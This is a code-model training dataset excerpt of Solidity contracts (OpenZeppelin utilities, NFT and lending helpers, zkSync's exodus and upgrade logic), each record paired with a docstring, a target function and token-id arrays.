bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev See {IERC721-setApprovalForAll}./
function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "Symbiosis: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); }
5,716,773
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 17, 542, 23461, 1290, 1595, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 23461, 1290, 1595, 12, 2867, 3726, 16, 1426, 20412, 13, 203, 3639, 1071, 203, 3639, 5024, 203, 3639, 3849, 203, 565, 288, 203, 3639, 2583, 12, 9497, 480, 389, 3576, 12021, 9334, 315, 10876, 1627, 7441, 291, 30, 6617, 537, 358, 4894, 8863, 203, 203, 3639, 389, 9497, 12053, 4524, 63, 67, 3576, 12021, 1435, 6362, 9497, 65, 273, 20412, 31, 203, 3639, 3626, 1716, 685, 1125, 1290, 1595, 24899, 3576, 12021, 9334, 3726, 16, 20412, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xFe37f99cd0597164BFdaBFB7c9f98E4fc44BeF52/sources/src/lender/definitions.sol
@notice calculates the net wealth in the system @param nav_ the current NAV @param reserve_ the current reserve @return assets_ the total asset value (NAV + reserve)
function calcAssets(uint256 nav_, uint256 reserve_) public pure returns (uint256 assets_) { return safeAdd(nav_, reserve_); }
16,433,420
[ 1, 12780, 815, 326, 2901, 732, 4162, 316, 326, 2619, 225, 8775, 67, 326, 783, 423, 5856, 225, 20501, 67, 326, 783, 20501, 327, 7176, 67, 326, 2078, 3310, 460, 261, 50, 5856, 397, 20501, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7029, 10726, 12, 11890, 5034, 8775, 67, 16, 2254, 5034, 20501, 67, 13, 1071, 16618, 1135, 261, 11890, 5034, 7176, 67, 13, 288, 203, 3639, 327, 4183, 986, 12, 11589, 67, 16, 20501, 67, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x53cD729B185c4B37c4935eD2EAE62B3D8976BB72/sources/MyNFT.sol
withdraw to owner wallet
function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); }
674,116
[ 1, 1918, 9446, 358, 3410, 9230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 1435, 3903, 1338, 5541, 288, 203, 3639, 2254, 5034, 11013, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 3639, 8843, 429, 12, 3576, 18, 15330, 2934, 13866, 12, 12296, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./ReentrancyGuard.sol"; import "./SafeMath.sol"; import "./SafeMathUInt128.sol"; import "./SafeCast.sol"; import "./Utils.sol"; import "./Storage.sol"; import "./Config.sol"; import "./Events.sol"; import "./Bytes.sol"; import "./Operations.sol"; import "./UpgradeableMaster.sol"; /// @title zkSync additional main contract /// @author Matter Labs contract AdditionalZkSync is Storage, Config, Events, ReentrancyGuard { using SafeMath for uint256; using SafeMathUInt128 for uint128; function increaseBalanceToWithdraw(bytes22 _packedBalanceKey, uint128 _amount) internal { uint128 balance = pendingBalances[_packedBalanceKey].balanceToWithdraw; pendingBalances[_packedBalanceKey] = PendingBalance(balance.add(_amount), FILLED_GAS_RESERVE_VALUE); } /// @notice Withdraws token from ZkSync to root chain in case of exodus mode. User must provide proof that he owns funds /// @param _storedBlockInfo Last verified block /// @param _owner Owner of the account /// @param _accountId Id of the account in the tree /// @param _proof Proof /// @param _tokenId Verified token id /// @param _amount Amount for owner (must be total amount, not part of it) function performExodus( StoredBlockInfo memory _storedBlockInfo, address _owner, uint32 _accountId, uint32 _tokenId, uint128 _amount, uint32 _nftCreatorAccountId, address _nftCreatorAddress, uint32 _nftSerialId, bytes32 _nftContentHash, uint256[] calldata _proof ) external { require(_accountId <= MAX_ACCOUNT_ID, "e"); require(_accountId != SPECIAL_ACCOUNT_ID, "v"); require(_tokenId < SPECIAL_NFT_TOKEN_ID, "T"); require(exodusMode, "s"); // must be in exodus mode require(!performedExodus[_accountId][_tokenId], "t"); // already exited require(storedBlockHashes[totalBlocksExecuted] == hashStoredBlockInfo(_storedBlockInfo), "u"); // incorrect stored block info bool proofCorrect = verifier.verifyExitProof( _storedBlockInfo.stateHash, _accountId, _owner, _tokenId, _amount, _nftCreatorAccountId, _nftCreatorAddress, _nftSerialId, _nftContentHash, _proof ); require(proofCorrect, "x"); if (_tokenId <= MAX_FUNGIBLE_TOKEN_ID) { bytes22 packedBalanceKey = packAddressAndTokenId(_owner, uint16(_tokenId)); increaseBalanceToWithdraw(packedBalanceKey, _amount); emit WithdrawalPending(uint16(_tokenId), _owner, _amount); } else { require(_amount != 0, "Z"); // Unsupported nft amount Operations.WithdrawNFT memory withdrawNftOp = Operations.WithdrawNFT( _nftCreatorAccountId, _nftCreatorAddress, _nftSerialId, _nftContentHash, _owner, _tokenId ); pendingWithdrawnNFTs[_tokenId] = withdrawNftOp; emit WithdrawalNFTPending(_tokenId); } performedExodus[_accountId][_tokenId] = true; } function cancelOutstandingDepositsForExodusMode(uint64 _n, bytes[] calldata _depositsPubdata) external { require(exodusMode, "8"); // exodus mode not active uint64 toProcess = Utils.minU64(totalOpenPriorityRequests, _n); require(toProcess > 0, "9"); // no deposits to process uint64 currentDepositIdx = 0; for (uint64 id = firstPriorityRequestId; id < firstPriorityRequestId + toProcess; ++id) { if (priorityRequests[id].opType == Operations.OpType.Deposit) { bytes memory depositPubdata = _depositsPubdata[currentDepositIdx]; require(Utils.hashBytesToBytes20(depositPubdata) == priorityRequests[id].hashedPubData, "a"); ++currentDepositIdx; Operations.Deposit memory op = Operations.readDepositPubdata(depositPubdata); bytes22 packedBalanceKey = packAddressAndTokenId(op.owner, uint16(op.tokenId)); pendingBalances[packedBalanceKey].balanceToWithdraw += op.amount; } delete priorityRequests[id]; } firstPriorityRequestId += toProcess; totalOpenPriorityRequests -= toProcess; } uint256 internal constant SECURITY_COUNCIL_THRESHOLD = $$(SECURITY_COUNCIL_THRESHOLD); /// @notice processing new approval of decrease upgrade notice period time to zero /// @param addr address of the account that approved the reduction of the upgrade notice period to zero /// NOTE: does NOT revert if the address is not a security council member or number of approvals is already sufficient function approveCutUpgradeNoticePeriod(address addr) internal { address payable[SECURITY_COUNCIL_MEMBERS_NUMBER] memory SECURITY_COUNCIL_MEMBERS = [ $(SECURITY_COUNCIL_MEMBERS) ]; for (uint256 id = 0; id < SECURITY_COUNCIL_MEMBERS_NUMBER; ++id) { if (SECURITY_COUNCIL_MEMBERS[id] == addr) { // approve cut upgrade notice period if needed if (!securityCouncilApproves[id]) { securityCouncilApproves[id] = true; numberOfApprovalsFromSecurityCouncil += 1; emit ApproveCutUpgradeNoticePeriod(addr); if (numberOfApprovalsFromSecurityCouncil >= SECURITY_COUNCIL_THRESHOLD) { if (approvedUpgradeNoticePeriod > 0) { approvedUpgradeNoticePeriod = 0; emit NoticePeriodChange(approvedUpgradeNoticePeriod); } } } break; } } } /// @notice approve to decrease upgrade notice period time to zero /// NOTE: сan only be called after the start of the upgrade function cutUpgradeNoticePeriod(bytes32 targetsHash) external { require(upgradeStartTimestamp != 0, "p1"); require(getUpgradeTargetsHash() == targetsHash, "p3"); // given targets are not in the active upgrade approveCutUpgradeNoticePeriod(msg.sender); } /// @notice approve to decrease upgrade notice period time to zero by signatures /// NOTE: Can accept many signatures at a time, thus it is possible /// to completely cut the upgrade notice period in one transaction function cutUpgradeNoticePeriodBySignature(bytes[] calldata signatures) external { require(upgradeStartTimestamp != 0, "p2"); bytes32 targetsHash = getUpgradeTargetsHash(); // The Message includes a hash of the addresses of the contracts to which the upgrade will take place to prevent reuse signature. bytes32 messageHash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n110", "Approved new ZkSync's target contracts hash\n0x", Bytes.bytesToHexASCIIBytes(abi.encodePacked(targetsHash)) ) ); for (uint256 i = 0; i < signatures.length; ++i) { address recoveredAddress = Utils.recoverAddressFromEthSignature(signatures[i], messageHash); approveCutUpgradeNoticePeriod(recoveredAddress); } } /// @return hash of the concatenation of targets for which there is an upgrade /// NOTE: revert if upgrade is not active at this moment function getUpgradeTargetsHash() internal returns (bytes32) { // Get the addresses of contracts that are being prepared for the upgrade. address gatekeeper = $(UPGRADE_GATEKEEPER_ADDRESS); (bool success0, bytes memory newTarget0) = gatekeeper.staticcall( abi.encodeWithSignature("nextTargets(uint256)", 0) ); (bool success1, bytes memory newTarget1) = gatekeeper.staticcall( abi.encodeWithSignature("nextTargets(uint256)", 1) ); (bool success2, bytes memory newTarget2) = gatekeeper.staticcall( abi.encodeWithSignature("nextTargets(uint256)", 2) ); require(success0 && success1 && success2, "p5"); // failed to get new targets address newTargetAddress0 = abi.decode(newTarget0, (address)); address newTargetAddress1 = abi.decode(newTarget1, (address)); address newTargetAddress2 = abi.decode(newTarget2, (address)); return keccak256(abi.encodePacked(newTargetAddress0, newTargetAddress1, newTargetAddress2)); } /// @notice Set data for changing pubkey hash using onchain authorization. /// Transaction author (msg.sender) should be L2 account address /// @notice New pubkey hash can be reset, to do that user should send two transactions: /// 1) First `setAuthPubkeyHash` transaction for already used `_nonce` will set timer. /// 2) After `AUTH_FACT_RESET_TIMELOCK` time is passed second `setAuthPubkeyHash` transaction will reset pubkey hash for `_nonce`. /// @param _pubkeyHash New pubkey hash /// @param _nonce Nonce of the change pubkey L2 transaction function setAuthPubkeyHash(bytes calldata _pubkeyHash, uint32 _nonce) external { requireActive(); require(_pubkeyHash.length == PUBKEY_HASH_BYTES, "y"); // PubKeyHash should be 20 bytes. if (authFacts[msg.sender][_nonce] == bytes32(0)) { authFacts[msg.sender][_nonce] = keccak256(_pubkeyHash); } else { uint256 currentResetTimer = authFactsResetTimer[msg.sender][_nonce]; if (currentResetTimer == 0) { authFactsResetTimer[msg.sender][_nonce] = block.timestamp; } else { require(block.timestamp.sub(currentResetTimer) >= AUTH_FACT_RESET_TIMELOCK, "z"); authFactsResetTimer[msg.sender][_nonce] = 0; authFacts[msg.sender][_nonce] = keccak256(_pubkeyHash); } } } /// @notice Reverts unverified blocks function revertBlocks(StoredBlockInfo[] calldata _blocksToRevert) external { requireActive(); governance.requireActiveValidator(msg.sender); uint32 blocksCommitted = totalBlocksCommitted; uint32 blocksToRevert = Utils.minU32(uint32(_blocksToRevert.length), blocksCommitted - totalBlocksExecuted); uint64 revertedPriorityRequests = 0; for (uint32 i = 0; i < blocksToRevert; ++i) { StoredBlockInfo memory storedBlockInfo = _blocksToRevert[i]; require(storedBlockHashes[blocksCommitted] == hashStoredBlockInfo(storedBlockInfo), "r"); // incorrect stored block info delete storedBlockHashes[blocksCommitted]; --blocksCommitted; revertedPriorityRequests += storedBlockInfo.priorityOperations; } totalBlocksCommitted = blocksCommitted; totalCommittedPriorityRequests -= revertedPriorityRequests; if (totalBlocksCommitted < totalBlocksProven) { totalBlocksProven = totalBlocksCommitted; } emit BlocksRevert(totalBlocksExecuted, blocksCommitted); } }
@notice approve to decrease upgrade notice period time to zero by signatures NOTE: Can accept many signatures at a time, thus it is possible to completely cut the upgrade notice period in one transaction The Message includes a hash of the addresses of the contracts to which the upgrade will take place to prevent reuse signature.
function cutUpgradeNoticePeriodBySignature(bytes[] calldata signatures) external { require(upgradeStartTimestamp != 0, "p2"); bytes32 targetsHash = getUpgradeTargetsHash(); bytes32 messageHash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n110", "Approved new ZkSync's target contracts hash\n0x", Bytes.bytesToHexASCIIBytes(abi.encodePacked(targetsHash)) ) ); for (uint256 i = 0; i < signatures.length; ++i) { address recoveredAddress = Utils.recoverAddressFromEthSignature(signatures[i], messageHash); approveCutUpgradeNoticePeriod(recoveredAddress); } }
952,870
[ 1, 12908, 537, 358, 20467, 8400, 11690, 3879, 813, 358, 3634, 635, 14862, 5219, 30, 4480, 2791, 4906, 14862, 622, 279, 813, 16, 12493, 518, 353, 3323, 358, 14416, 6391, 326, 8400, 11690, 3879, 316, 1245, 2492, 1021, 2350, 6104, 279, 1651, 434, 326, 6138, 434, 326, 20092, 358, 1492, 326, 8400, 903, 4862, 3166, 358, 5309, 11827, 3372, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
